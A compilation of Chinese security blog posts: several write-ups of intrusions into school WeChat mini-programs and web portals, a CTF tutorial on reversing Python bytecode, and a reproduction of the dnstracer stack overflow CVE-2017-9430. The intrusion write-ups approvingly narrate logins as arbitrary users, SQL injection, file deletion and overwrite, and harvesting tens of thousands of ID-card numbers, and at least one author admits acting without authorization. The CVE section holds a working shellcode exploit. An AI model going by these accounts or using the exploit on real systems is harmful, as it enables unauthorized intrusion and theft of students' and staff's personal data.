一次奇妙的任意用户登录实战
刚刚进行了微信sessionkey的学习,正准备实战一下,就发现了这个神奇的网站,预知后事如何。请继续向下看去
1. 目标
2. 开局一个登录框
3. 首先,直接弱口令走起来,万一留有测试的账号呢
尝试,1311111111,13333333333.13888888888,未果
测试多了还有验证码防止爆破,也就不再继续尝试爆破了
弱口令g
4. 点击微信快捷登录,发现sessionkey(步入正题)
点击允许,数据包发现sessionkey参数
找到我们github上找到的sessionkey利用插件,把session_key(加密解密的key)encrypt_data(向数据库提交的值)iv(偏移量)的值都复制到工具上进行利用
但是怎么找到这个系统用户的手机号呢(万能的贴吧,抖音等地方获得了老师的手机号)
成功登录,任意用户登录加1
5. 发现这个接收了sessionkey的加密数据后,还会发送一个绑定手机号的数据包(又一个任意用户登录)
修改请求包的user参数,发现没有鉴权,直接输入用户手机号即可绑定登录
感觉离谱,任意用户登录又加1
6.输入名字即可查看学生学籍信息(编码解码后名字为张杰)
敏感信息泄露加1
7. 维修处可以上传图片,尝试利用
准备试试绕过,结果白名单加黑名单过滤,文件上传gg
但是删除文件发现是直接DELETE请求,还是直接删路径,只能说开发太牛了,真的离谱
测试不同用户文件可以直接删除,没有进一步尝试(害怕系统崩溃),任意文件删除加1
8. 发现这个还有一个预约平台,鉴于上个系统的离谱,继续尝试利用(非原图,原图特征太明显了)
进入后发现只有验证码登录
尝试爆破四位数验证码
成功登录,任意用户登录又加1
总结:
第一次碰见这么多的任意用户登录,建议加强鉴权,隐藏sessionkey值,登录设置次数要求,防止爆破。另外,进行漏洞挖掘,建议证明即可,未经客户允许禁止扩大危害,盲目扩大危害可能有法律风险。
CTF中常见的四种python逆向
说在前面:
什么是pyc文件?
pyc是一种二进制文件,是由py文件经过编译后,生成的文件,是一种byte code,py文件变成pyc文件后,加载的速度有所提高,pyc 文件是 Python 编译过的字节码文件。它是 Python 程序在运行过程中由源代码(通常是 .py 文件)自动或手动编译产生的二进制文件。
而且pyc是一种跨平台的字节码,是由[Python]的虚拟机来执行的,这个是类似于[Java]或者.NET的虚拟机的概念。pyc的内容,是跟python的版本相关的,不同版本编译后的pyc文件是不同的,2.5编译的pyc文件,2.4版本的python是无法执行的。
为什么需要pyc文件?
因为py文件是可以直接看到源码的,如果你是开发商业软件的话,不可能把源码也泄漏出去吧?所以就需要编译为pyc后,再发布出去。当然,pyc文件也是可以反编译的,不同版本编译后的pyc文件是不同的,根据python源码中提供的opcode,可以根据pyc文件反编译出py文件源码,网上可以找到一个反编译python2.3版本的pyc文件的工具,不过该工具从python2.4开始就要收费了,如果需要反编译出新版本的pyc文件的话,就需要自己动手了,不过你可以自己修改python的源代码中的opcode文件,重新编译python,从而防止不法分子的破解。
pyc文件
解法:uncompyle6直接反编译
eg.
def check():
flag=1+1
if(flag==2):
return "right"
return "error"
print(check())
这是我们所写的一个简单的python例子
现在我们来生成pyc文件 这里用的是python3
pyhton -m test.py
pyc文件也是可以运行的
我们在对应的文件夹的搜索框下输入powershell
然后输入
python .\test.pyc
可以看到即使是运行py文件也是可以运行的
但区别的是我们没法看到pyc文件里面是什么东西,即使拖进IDA里面也无济于事
所以这里我们需要下载一个工具
uncompyle6.exe
在终端打开并输入
pip install uncompyle
安装后包含uncompyle6 但是版本为3.8.0 会导致一些软件的反编译失败建议使用下面命令回到3.7.4版本
pip install uncompyle6==3.7.4
安装以后,我们回到我们的tmp目录并打开powershell输入
uncompyle6.exe .\test.py
这里我们就得到了源码
接下来的操作就跟windows逆向别无二致了
txt里面是pyc字节码
解法:
读py字节码
根据opcode文件查询意思
我们先来得到我们test.py例子的字节码
在powershell下先输入python 然后输入
import dis,marshal
f=open("test.pyc", "rb").read()
f
dis和marshal库 一个是装载库 一个是反编译字节码的库
我们可以将我们的test.pyc导入010Editor中配合着一起看
python2的前八个字节是python2的魔术字
python3的前十六个字节是python3的魔术字
所以我们可以不用读前十六位 我们只需要读后十六位的东西
code=marshal.loads(f[16:])
code
现在我们读进来的是二进制数据,我们可以用dis来进行反编译 就会得到python的字节码 可以理解成python的汇编读出来了
dis.dis(code)
这就是python的汇编
我们这里是直接将pyc文件uncompyle6回去的,但是在CTF中一般都是把python的汇编直接复制粘贴出来丢给我们...
所以我们只能硬看...或者配合点东西 比如python的opcode一起看
补充一点:python2是3个字节为1个指令 python3是2个字节为1个指令
比如test.pyc中LOAD_CONST 指令就占用了0,1两个字节
所以下条指令就从3开始了
1 0 LOAD_CONST 0 (<code object keyinit at 0x0000028C1CC11D20, file "crackPYC.py", line 1>)
2 LOAD_CONST 1 ('keyinit')
4 MAKE_FUNCTION 0
6 STORE_NAME 0 (keyinit)
8 8 LOAD_NAME 1 (__name__)
10 LOAD_CONST 2 ('__main__')
12 COMPARE_OP 2 (==)
14 POP_JUMP_IF_FALSE 250
9 16 LOAD_NAME 2 (print)
18 LOAD_CONST 3 ('Can you crack pyc?')
20 CALL_FUNCTION 1
22 POP_TOP
10 24 LOAD_NAME 3 (input)
26 LOAD_CONST 4 ('Plz give me your flag:')
28 CALL_FUNCTION 1
30 STORE_NAME 4 (str) #将输入的字符存入str内
11 32 LOAD_CONST 5 (108)
34 LOAD_CONST 6 (17)
36 LOAD_CONST 7 (42)
38 LOAD_CONST 8 (226)
40 LOAD_CONST 9 (158)
42 LOAD_CONST 10 (180)
44 LOAD_CONST 11 (96)
46 LOAD_CONST 12 (115)
48 LOAD_CONST 13 (64)
50 LOAD_CONST 14 (24)
52 LOAD_CONST 15 (38)
54 LOAD_CONST 16 (236)
56 LOAD_CONST 17 (179)
58 LOAD_CONST 18 (173)
60 LOAD_CONST 19 (34)
62 LOAD_CONST 20 (22)
64 LOAD_CONST 21 (81)
66 LOAD_CONST 22 (113)
68 LOAD_CONST 15 (38)
70 LOAD_CONST 23 (215)
72 LOAD_CONST 24 (165)
74 LOAD_CONST 25 (135)
76 LOAD_CONST 26 (68)
78 LOAD_CONST 27 (7)
12 80 LOAD_CONST 28 (119)
82 LOAD_CONST 29 (97)
84 LOAD_CONST 30 (45)
86 LOAD_CONST 31 (254)
88 LOAD_CONST 32 (250)
90 LOAD_CONST 33 (172)
92 LOAD_CONST 34 (43)
94 LOAD_CONST 35 (62)
96 BUILD_LIST 32 #建立容量为32的列表
98 STORE_NAME 5 (text) #以上32个数据为text数组的数值
13 100 LOAD_NAME 6 (len)
102 LOAD_NAME 4 (str)
104 CALL_FUNCTION 1
106 LOAD_CONST 36 (32)
108 COMPARE_OP 3 (!=)
110 POP_JUMP_IF_TRUE 140 #判断str即输入字符串的长度是否为32,不是则跳转到140
112 LOAD_NAME 4 (str)
114 LOAD_CONST 37 (0)
116 LOAD_CONST 27 (7)
118 BUILD_SLICE 2
120 BINARY_SUBSCR
122 LOAD_CONST 38 ('DASCTF{')
124 COMPARE_OP 3 (!=)
126 POP_JUMP_IF_TRUE 140 #判断str字符串的前七位是否为'DASCTF{',不是则跳转到140
128 LOAD_NAME 4 (str)
130 LOAD_CONST 39 (31)
132 BINARY_SUBSCR
134 LOAD_CONST 40 ('}')
136 COMPARE_OP 3 (!=)
138 POP_JUMP_IF_FALSE 154 #判断str字符串的最后一位也就是31位是否为'}',不是则跳转到154
#因为如果不跳转继续执行的话就会执行到输入字符串符合的一段代码使程序 #退出
14 >> 140 LOAD_NAME 2 (print)
142 LOAD_CONST 41 ('Bye bye~~')
144 CALL_FUNCTION 1
146 POP_TOP
15 148 LOAD_NAME 7 (exit)
150 CALL_FUNCTION 0
152 POP_TOP #退出程序
16 >> 154 LOAD_NAME 8 (list)
156 LOAD_NAME 4 (str)
158 CALL_FUNCTION 1
160 STORE_NAME 9 (st) #创建列表st
17 162 BUILD_LIST 0
164 STORE_NAME 10 (key)
18 166 LOAD_NAME 0 (keyinit)
168 LOAD_NAME 10 (key)
170 CALL_FUNCTION 1
172 POP_TOP
19 174 SETUP_LOOP 48 (to 224)
176 LOAD_NAME 11 (range)
178 LOAD_CONST 36 (32)
180 CALL_FUNCTION 1
182 GET_ITER
>> 184 FOR_ITER 36 (to 222)
186 STORE_NAME 12 (i) #相当于for i in range(0,32)
20 188 LOAD_NAME 13 (ord)
190 LOAD_NAME 4 (str)
192 LOAD_NAME 12 (i)
194 BINARY_SUBSCR
196 CALL_FUNCTION 1
198 LOAD_NAME 10 (key)
200 LOAD_NAME 12 (i)
202 LOAD_NAME 6 (len)
204 LOAD_NAME 10 (key)
206 CALL_FUNCTION 1
208 BINARY_MODULO #key元素少于str元素,所以要把i和key的长度取余避免越界
210 BINARY_SUBSCR
212 BINARY_XOR
214 LOAD_NAME 9 (st)
216 LOAD_NAME 12 (i)
218 STORE_SUBSCR #此处代码将str和key中的元素进行异或处理后存入st
220 JUMP_ABSOLUTE 184 #相当于st[i] = ord(str[i]) ^ key[i % len(key)]
>> 222 POP_BLOCK
21 >> 224 LOAD_NAME 9 (st)
226 LOAD_NAME 5 (text)
228 COMPARE_OP 2 (==)
230 POP_JUMP_IF_FALSE 242 #对比st数组和text数组,不相等则跳转到地址242处
22 232 LOAD_NAME 2 (print)
234 LOAD_CONST 42 ('Congratulations and you are good at PYC!')
236 CALL_FUNCTION 1
238 POP_TOP
240 JUMP_FORWARD 8 (to 250)
24 >> 242 LOAD_NAME 2 (print)
244 LOAD_CONST 43 ('Sorry,plz learn more about pyc.')
246 CALL_FUNCTION 1
248 POP_TOP
>> 250 LOAD_CONST 44 (None)
252 RETURN_VALUE
Disassembly of <code object keyinit at 0x0000028C1CC11D20, file "crackPYC.py", line 1>:
2 0 LOAD_CONST 1 (0)
2 STORE_FAST 1 (num)
3 4 SETUP_LOOP 42 (to 48)
6 LOAD_GLOBAL 0 (range)
8 LOAD_CONST 2 (8)
10 CALL_FUNCTION 1
12 GET_ITER
>> 14 FOR_ITER 30 (to 46)
16 STORE_FAST 2 (i) #相当于for i in range(0,8)
#从这里我们可以知道key的长度为8
4 18 LOAD_FAST 1 (num)
20 LOAD_CONST 3 (7508399208111569251)
22 BINARY_SUBTRACT
24 LOAD_CONST 4 (4294967295)
26 BINARY_MODULO
28 STORE_FAST 1 (num)
5 30 LOAD_FAST 0 (key)
32 LOAD_METHOD 1 (append)
34 LOAD_FAST 1 (num)
36 LOAD_CONST 5 (24)
38 BINARY_RSHIFT #不理解这一句的意思
40 CALL_METHOD 1 #但这一段代码就是给key赋值
42 POP_TOP
44 JUMP_ABSOLUTE 14
>> 46 POP_BLOCK
>> 48 LOAD_CONST 0 (None)
50 RETURN_VALUE
这段代码的总体意思就是将输入的str字符串与key数组进行异或加密后存入st数组并于text数组进行对比我们可以从代码中得之text数组的元素值也可以知道str的前七位必为’DASCTF{’,最后一位必为’}’,而key数组只有8位,所以对str的加密是8位8位的进行的又因为异或具有自反性,所以可以据’DASCTF{‘字符串与text前7个元素做异或处理得出前7位,再将’}'与text最后一位进行异或 处理得出第8位,就可以得到key的整个数组
这段汇编最关键的部分如下
Disassembly of <code object keyinit at 0x0000028C1CC11D20, file "crackPYC.py", line 1>:
2 0 LOAD_CONST 1 (0)
2 STORE_FAST 1 (num)
3 4 SETUP_LOOP 42 (to 48)
6 LOAD_GLOBAL 0 (range)
8 LOAD_CONST 2 (8)
10 CALL_FUNCTION 1
12 GET_ITER
>> 14 FOR_ITER 30 (to 46)
16 STORE_FAST 2 (i) #相当于for i in range(0,8)
#从这里我们可以知道key的长度为8
4 18 LOAD_FAST 1 (num)
20 LOAD_CONST 3 (7508399208111569251)
22 BINARY_SUBTRACT
24 LOAD_CONST 4 (4294967295)
26 BINARY_MODULO
28 STORE_FAST 1 (num)
5 30 LOAD_FAST 0 (key)
32 LOAD_METHOD 1 (append)
34 LOAD_FAST 1 (num)
36 LOAD_CONST 5 (24)
38 BINARY_RSHIFT #不理解这一句的意思
40 CALL_METHOD 1 #但这一段代码就是给key赋值
42 POP_TOP
44 JUMP_ABSOLUTE 14
>> 46 POP_BLOCK
>> 48 LOAD_CONST 0 (None)
50 RETURN_VALUE
首先就是一个num的初始化 因为LOAD_CONST推送到堆栈
然后STORE_FAST将TOS(python的栈)存储到本地中
这两条结合起来 其实意思就是
num=0
接下来 SETUP_LOOP(delta)
将一个循环的块推送到块堆栈。该块跨越当前指令,大小为delta字节。
LOAD_GLOBAL 定义一个全局变量 range LOAD_CONST定义一个常量 8
配合着utools里面程序员手册里面的Python库硬看
for i in range(8):
然后关键的这一步
首先LOAD_FAST 将num压入栈堆,然后又把一个常量(7508399208111569251)推送到堆栈中
然后又执行BINARY_SUBTRACT 也就是减操作 即栈的后一位减去栈顶,对应到代码中也就是num减去这个常量
然后又推了个值4294967295 然后进行BINARY_MODULO操作 这是栈顶后一位取余栈顶的值
最后STORE_FAST 存储到num这个变量
所以这关键的一步python代码应该是
num=(num-7508399208111569251)%4294967295
后面干的操作大体就是 LOAD_FAST num 然后LOAD_CONST 24 然后BINARY_RSHIFT 主要是就是栈顶后一位右移栈顶数据的值 然后存储到key里面 大概就是这么个意思
print(num>>24)
结合起来就是这样的
num=0
for i in range(8):
num=(num-7508399208111569251)%4294967295
print(num>>24)
这样我们就得到这道题的密钥
40
80
121
161
202
242
27
67
然后采用每八个字节都去异或一下这个密钥,flag就出来了
s=[108,17,42,226,158,180,96,115,64,24,38,236,179,173,34,22,81,113,38,215,165,135,68,7,119,97,
45,254,250,172,43,62]
key=[]
flag=''
num=0
for i in range(8):
num=(num-7508399208111569251)%4294967295
key.append(num>>24)
for i in range(32):
flag += chr(key[i%len(key)] ^ s[i])
print(flag)
打包成exe的pyc文件
解法:
通过脚本变成结构体和一个文件
重点:再把时间属性和版本的魔术字放回去保存
uncompyle6即可
下载完题目发现这是个exe文件 但是图标又是很明显的pyc文件
所以这是个打包成exe的py文件
这里我们需要用到一个工具pyinstxtractor.py
把这个py文件复制到我们的题目文件夹里面
在搜索框中输入powershell 在打开的终端中输入
python .\pyinstxtractor.py .\attachment.exe
运行后生成attachment.exe_extracted文件夹,进入之后看到一些源文件,由于我电脑上的python是3.8版本,解包要3.6版本,所以生成了不正常的入口文件login而不是login.pyc,想要变成正常的可反编译的pyc文件就要对生成文件进行修改。(如果不嫌麻烦可以换一下python3.6的环境)
现在开始修改login入口文件,这里用的是winhex。
修改之前需要了解一点,在将python文件打包成exe文件的过程中,会抹去pyc文件前面的部分信息,所以在反编译之前需要检查并添加上这部分信息,这部分信息可以通过struct文件获取。
windex中打开struct文件后,把struct文件前几个字节插入login开头。(具体要插入几个字节还是要看解包后的文件,我的文件是E3字节码前面的丢失,那么就只需要看struct中E3之前的字节码有哪些,ctrl + c复制,然后在login开头ctrl + v 粘贴即可。)
修改后如下
保存后 将login后缀名修改为.pyc即可
将login.pyc复制粘贴到题目的文件夹后打开powershell终端
并且调用uncompyle6.exe
uncompyle6.exe .\login.pyc
就可以看到源码了
import sys
input1 = input('input something:')
if len(input1) != 14:
print('Wrong length!')
sys.exit()
else:
code = []
for i in range(13):
code.append(ord(input1[i]) ^ ord(input1[(i + 1)]))
code.append(ord(input1[13]))
a1 = code[2]
a2 = code[1]
a3 = code[0]
a4 = code[3]
a5 = code[4]
a6 = code[5]
a7 = code[6]
a8 = code[7]
a9 = code[9]
a10 = code[8]
a11 = code[10]
a12 = code[11]
a13 = code[12]
a14 = code[13]
if (a1 * 88 + a2 * 67 + a3 * 65 - a4 * 5 + a5 * 43 + a6 * 89 + a7 * 25 + a8 * 13 - a9 * 36 + a10 * 15 + a11 * 11 + a12 * 47 - a13 * 60 + a14 * 29 == 22748) & (a1 * 89 + a2 * 7 + a3 * 12 - a4 * 25 + a5 * 41 + a6 * 23 + a7 * 20 - a8 * 66 + a9 * 31 + a10 * 8 + a11 * 2 - a12 * 41 - a13 * 39 + a14 *
print('flag is GWHT{md5(your_input)}')
print('Congratulations and have fun!')
else:
print('Sorry,plz try again...')
看到一堆数字 就明白这是要解方程 用z3库来写方便点
from z3 import *
#初始化变量
a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14 = Ints("a1 a2 a3 a4 a5 a6 a7 a8 a9 a10 a11 a12 a13 a14")
x = Solver()
#根据题目来添加限制
x.add(a1 * 88 + a2 * 67 + a3 * 65 - a4 * 5 + a5 * 43 + a6 * 89 + a7 * 25 + a8 * 13 - a9 * 36 + a10 * 15 + a11 * 11 + a12 * 47 - a13 * 60 + a14 * 29 == 22748)
x.add(a1 * 89 + a2 * 7 + a3 * 12 - a4 * 25 + a5 * 41 + a6 * 23 + a7 * 20 - a8 * 66 + a9 * 31 + a10 * 8 + a11 * 2 - a12 * 41 - a13 * 39 + a14 * 17 == 7258)
x.add(a1 * 28 + a2 * 35 + a3 * 16 - a4 * 65 + a5 * 53 + a6 * 39 + a7 * 27 + a8 * 15 - a9 * 33 + a10 * 13 + a11 * 101 + a12 * 90 - a13 * 34 + a14 * 23 == 26190)
x.add(a1 * 23 + a2 * 34 + a3 * 35 - a4 * 59 + a5 * 49 + a6 * 81 + a7 * 25 + a8 * 128 - a9 * 32 + a10 * 75 + a11 * 81 + a12 * 47 - a13 * 60 + a14 * 29 == 37136)
x.add(a1 * 38 + a2 * 97 + a3 * 35 - a4 * 52 + a5 * 42 + a6 * 79 + a7 * 90 + a8 * 23 - a9 * 36 + a10 * 57 + a11 * 81 + a12 * 42 - a13 * 62 - a14 * 11 == 27915)
x.add(a1 * 22 + a2 * 27 + a3 * 35 - a4 * 45 + a5 * 47 + a6 * 49 + a7 * 29 + a8 * 18 - a9 * 26 + a10 * 35 + a11 * 41 + a12 * 40 - a13 * 61 + a14 * 28 == 17298)
x.add(a1 * 12 + a2 * 45 + a3 * 35 - a4 * 9 - a5 * 42 + a6 * 86 + a7 * 23 + a8 * 85 - a9 * 47 + a10 * 34 + a11 * 76 + a12 * 43 - a13 * 44 + a14 * 65 == 19875)
x.add(a1 * 79 + a2 * 62 + a3 * 35 - a4 * 85 + a5 * 33 + a6 * 79 + a7 * 86 + a8 * 14 - a9 * 30 + a10 * 25 + a11 * 11 + a12 * 57 - a13 * 50 - a14 * 9 == 22784)
x.add(a1 * 8 + a2 * 6 + a3 * 64 - a4 * 85 + a5 * 73 + a6 * 29 + a7 * 2 + a8 * 23 - a9 * 36 + a10 * 5 + a11 * 2 + a12 * 47 - a13 * 64 + a14 * 27 == 9710)
x.add(a1 * 67 - a2 * 68 + a3 * 68 - a4 * 51 - a5 * 43 + a6 * 81 + a7 * 22 - a8 * 12 - a9 * 38 + a10 * 75 + a11 * 41 + a12 * 27 - a13 * 52 + a14 * 31 == 13376)
x.add(a1 * 85 + a2 * 63 + a3 * 5 - a4 * 51 + a5 * 44 + a6 * 36 + a7 * 28 + a8 * 15 - a9 * 6 + a10 * 45 + a11 * 31 + a12 * 7 - a13 * 67 + a14 * 78 == 24065)
x.add(a1 * 47 + a2 * 64 + a3 * 66 - a4 * 5 + a5 * 43 + a6 * 112 + a7 * 25 + a8 * 13 - a9 * 35 + a10 * 95 + a11 * 21 + a12 * 43 - a13 * 61 + a14 * 20 == 27687)
x.add(a1 * 89 + a2 * 67 + a3 * 85 - a4 * 25 + a5 * 49 + a6 * 89 + a7 * 23 + a8 * 56 - a9 * 92 + a10 * 14 + a11 * 89 + a12 * 47 - a13 * 61 - a14 * 29 == 29250)
x.add(a1 * 95 + a2 * 34 + a3 * 62 - a4 * 9 - a5 * 43 + a6 * 83 + a7 * 25 + a8 * 12 - a9 * 36 + a10 * 16 + a11 * 51 + a12 * 47 - a13 * 60 - a14 * 24 == 15317)
print(x.check())
print(x.model())
得到下面这些玩意
[a13 = 88,
a3 = 10,
a4 = 7,
a10 = 108,
a12 = 74,
a1 = 119,
a7 = 28,
a6 = 43,
a9 = 52,
a14 = 33,
a5 = 104,
a8 = 91,
a2 = 24,
a11 = 88]
也就是[119, 24, 10, 7, 104, 43, 28, 91, 52, 108, 88, 74, 88, 33]
按照ord(input1[i]) ^ ord(input1[i + 1])进行异或, 反推回input
然后反推一个异或:注意这里源代码中code和a不是一一对应的....就是源码中a1=code[2]这些的
aim = [119, 24, 10, 7, 104, 43, 28, 91, 52, 108, 88, 74, 88, 33] #a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14
aim = [10, 24, 119, 7, 104, 43, 28, 91, 108, 52, 88, 74, 88, 33] #code[0]=a3,code[1]=a2.....源码中的....
print(len(aim))
flag = [0 for i in range(14)]
flag[13] = aim[13]
for i in range(12, -1, -1):#从12开始 到-1终止,每一步是-1
flag[i] = aim[i] ^ flag[i+1]
print(flag)
[85, 95, 71, 48, 55, 95, 116, 104, 51, 95, 107, 51, 121, 33], 转换为字符串
c = [85, 95, 71, 48, 55, 95, 116, 104, 51, 95, 107, 51, 121, 33]
for i in c:
print(chr(i), end="")
print("\n")
最后得到U_G07_th3_k3y! 交上去是不对的,还需要将其转换为md5才可以
加花指令的pyc
解法:
根据uncompyle6和字节码判断花
读取co_code的长度
去掉花 并修改co_code长度
保存uncompyle6即可
不加花指令的代码
def check():
flag=5+5
if(flag==10):
return "right"
return "Wrong"
#input=raw_input("Input something")
print(check())
我们先分别运行一下加了花指令和没有加花指令的pyc文件,看看加了花指令的pyc文件是否能输出right
我们可以看到 加了花指令的pyc文件 即Pz_error.pyc也是可以输出right的
因为会把加了花指令的指令直接跳过去,就导致执行是没什么问题的
但是如果调用uncompyle6来反编译出源代码的话,加了花指令的pyc文件就会报错
最下面报错的信息给我们的是 tuple index out of range 数组下标越界
我们先来得到Pz_error.pyc的字节码,然后用code.marshal,loads(f[8:])读取魔术字8位后的东西,并将其反编译,看看花指令是加在哪条指令上了
我们可以看到 JUMP_ABSOLUTE将字节码计数器设置为目标 强制跳转到18
18也就是正常指令之后
LOAD_CONST 255 我们没有加花指令的py文件 就那么点代码 哪来的255,所以明显花指令就是在这里了。
所以我们现在定位到了花指令的地方,我们要做的就是把花指令去掉 并且修改co_code长度 也就是整个pyc文件的长度
那么我们来进行第二步 读取co_code的长度
len(code.co_code)
我们可以看到是27个字节
我们把Pz_error.pyc丢进Winhex里面 那么我们该怎么在Winhex里面定位到我们所要找的花指令呢?
我们要借助python2程序里面的opcode.h工具
已知花指令是JUMP_ABSOLUTE 在opcode.h里面搜索JUMP_ABSOLUTE
113转换为16进制就是71
在Winhex里面找的71那条 因为python2是3个字节码为1个指令
接下来 我们找LOAD_CONST这条指令在opcode.h对应的数字
100对应的16进制数字就是64 255对应的16进制数就是FF
所以基本可以确定 71 12 00 64 FF 00 这六个就是我们要找的花指令
然后delete键删掉
现在我们到了第三步 修改co_code的长度
我们刚读出来Pz_error.pyc字节码长度是27 27-6=21
27对应的16进制数是1B
21对应的16进制数是15
我们在winhex里面将找的1B修改为15,然后保存,这样我们的Pz_error.pyc就修好了
现在我们来试试看uncompyle6能否反编译出来
大功告成!
记一次奇妙的某个edu渗透测试
前话:
对登录方法的轻视造成一系列的漏洞出现,对接口确实鉴权造成大量的信息泄露。从小程序到web端网址的奇妙的测试就此开始。(文章厚码,请见谅)
1. 寻找到目标站点的小程序
进入登录发现只需要姓名加学工号就能成功登录,通过googlehack的语法成功找到学生姓名和学号,想直接找老师的工号发现无果,信息收集到此为止
2. 通过学生的信息成功登录进去,进入熟悉的测试环节,成功找到sql注入
使用sqlmap成功跑出
3. 本以为测试到此位置了,突然在某个功能点有了意外之喜,发现了老师的工号,果断深度利用一手
竟然找到了老师的工号和身份证
既然教师的接口泄露的老师的工号,那领导的接口不也会泄露,果断放弃老师的工号,前去寻找领导的工号,果不其然
肯定挑官大的搞,
4. 成功通过领导的工号登录
权限有点大,找找还有利用的地方吗
5. 敏感信息泄露
成功找到一处接口,存在信息泄露,通过遍历得到大量身份证
几万条信息泄露还是有的
6. 转战web端的学工系统,发现是扫码登录,结合上面的领导账号尝试登录
通过微信绑定的手机号获取验证码,尝试能否登录
成功登录
7. 目录遍历
通过对该站点的测试发现该站点还存在目录遍历
篇幅有限,点到为止
总结:
建议学校对用户登录时多做校验,防止任意用户登录,对接口增加鉴权,对特殊字符进行过滤,加强网址的安全防护。在任何情况下,未经授权的渗透测试行为都是违法的,可能导致严重的法律后果。因此,在进行任何安全测试之前,请务必与目标单位达成明确的协议和授权。
记一次对某高校微信小程序的漏洞挖掘
挖掘目标的部署在微信的资产(减少信息的收集,毕竟一般web站点没有账号密码不好进入后台,挖掘功能点少)
1.寻找目标的微信小程序(非原图)
2.招生小程序打不开,只能挖掘管理系统
进入后发现存在上报安全隐患功能,可以上传图片
3.准备上传shell
发现控制上传名字参数为name,不是filename
修改后成功上传php脚本
4.放在浏览器发现不解析,直接下载,只能尝试上传xss
存储型xss加1
5.弱口令尝试失败,但是发现为Nginx搭建的(使用Wappalyer扩展)
6.因为之前有文件上传的漏洞,又是Nginx搭建的,通过Nginx的目录穿越漏洞去尝试任意文件覆盖(为了防止这个平台崩溃,只覆盖自己进行目录穿越后的文件)
覆盖前: (看上传文件路径,为uploads下,原为日期20240312下)
覆盖后:
任意文件覆盖加1,扩大危害(可以覆盖网站配置文件导致网站崩溃,也可以覆盖登录页面的js文件来进行钓鱼)
7.微信小程序测试完了(没有授权,不敢扩大危害获取账号密码),就去试试公众号上的服务
没有账号密码可以进入的只有这个预约系统,直接bp启动(公众号图片不是原图,原图特征太明显了)
8.进入后没有什么功能点,成功fuzz出信息
尝试userid遍历,没有反应
直接寻找get请求放在Intruder模块进行接口fuzz(/api/user/下)
成果:
creatorId对应值为身份证,敏感信息泄露加1
9.对fuzz出来的role接口进行拼接尝试
简单尝试下发现g了(没有权限)
10.峰回路转,之前测试这个没有写报告,重新测试时,接口fuzz的接口记错了,结果在上一级目录下又进行了一次fuzz(/api/下),发现
微信ak-sk加access_token
身份证等敏感信息
主要这个接口的值还是实时刷新的,信息会变(看前后idCard匹配对比)
总结:
文件上传漏洞不能解析(低危漏洞),但是碰见合适的框架漏洞(Nginx的目录穿越),就变成的高危的任意文件覆盖,测试功能点找不到接口,试试接口fuzz,一下信息全部出来,立马高危,修复建议:修复历史漏洞,加强接口鉴权。
从CVE复现看栈溢出漏洞利用
最近复现了两个栈溢出漏洞的cve,分别是CVE-2017-9430和CVE-2017-13089,简单记录一下real wrold中的栈溢出漏洞学习。目前,栈溢出漏洞主要出现在iot固件中,linux下的已经很少了,所以这两个洞都是17年,比较早,但还是能学到一些东西。
CVE-2017-9430
1.漏洞描述
dnstracer 1.9 及之前版本中基于堆栈的缓冲区溢出允许攻击者通过命令行造成拒绝服务(应用程序崩溃),或者可能通过命令行造成未指定的其他影响。
2.环境搭建
编译安装DNSTracer 1.9
wget http://www.mavetju.org/download/dnstracer-1.9.tar.gz
tar zxvf dnstracer-1.9.tar.gz
cd dnstracer-1.9
./confugure
make && sudo make install
在make前,修改Makefile
CC = gcc -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0 -no-pie -m32
编译好后,关闭ASLR
sudo echo 0 > /proc/sys/kernel/randomize_va_space
或者
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
3.漏洞成因
程序在处理命令行参数时,调用strcpy函数对argv[0]进行处理时,由于处理不当,导致了栈溢出漏洞。
4.漏洞利用
这里在进行利用时,关闭了ASLR、PIE、Canary、RELRO、NX等缓解机制。
由于strcpy未对参数长度进行检查,这里导致的栈溢出漏洞可以溢出足够的字符长度,并且关闭了各种缓解机制,所以我们通过返回到shellcode的方式获取shell。但在复现的过程中,发现一个有趣的地方。如果我直接溢出到返回地址,并不能完成预想的get shell。回到汇编
发现了问题,这里在ret之前,栈指针变了,是由ecx的值决定的,而ecx是从栈pop出来的。分析这段汇编代码发现,如果正常情况下,最后esp的位置和直接返回的没有这段处理代码的位置相同,但由于由这段代码,就导致不能直接覆盖到返回地址,否则会在执行倒数第二条汇编指令时触发非法地址。
所以,这里不能直接覆盖到返回地址,而是要通过布置栈中数据控制ecx,从而将ecx-4处的地址赋给esp,使esp指向存有shellcode地址的位置,这样就可以正常完成get shell了。
内存布局如下图
exp如下:
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'info')
# context(os = 'linux', arch = 'amd64', log_level = 'debug')
context.terminal = ['tmux', 'splitw', '-h']
elf = './dnstracer-1.9/dnstracer'
# elf = ELF('./simpleinterpreter')
#-----------------------------------------------------------------------------------------
rv = lambda x : p.recv(x)
rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
u32 = lambda : u32(p.recv(4).ljust(4,b'\x00'))
u64 = lambda : u64(p.recv(6).ljust(8,b'\x00'))
inter = lambda : p.interactive()
debug = lambda text=None : gdb.attach(p, text)
lg = lambda s,addr : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
#-----------------------------------------------------------------------------------------
if __name__ == "__main__":
filling = "\x90"*(1050-32-32-1-0x300)
filling += "\x4c\xcd\xff\xff" # ShellcodeAddress
filling += "\x90"*0x300 # 0xffffcd4c
filling += "\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"+"aa"
filling += "bbbb"*4
filling += "\x4c\xcd\xff\xff" # ecx esp=[ecx-4]
payload = filling
p = gdb.debug([elf, payload],"b *0x0804969E")
inter()
5.坑点
在复现的时候还有一些坑点,我暂时也不知道原因。
①第一点就是这个在返回前对esp进行处理的汇编,我不知道为什么我编译出来的程序会有这一段,在网上看其他师傅复现的文档,都没有遇到这个问题,疑惑ing。
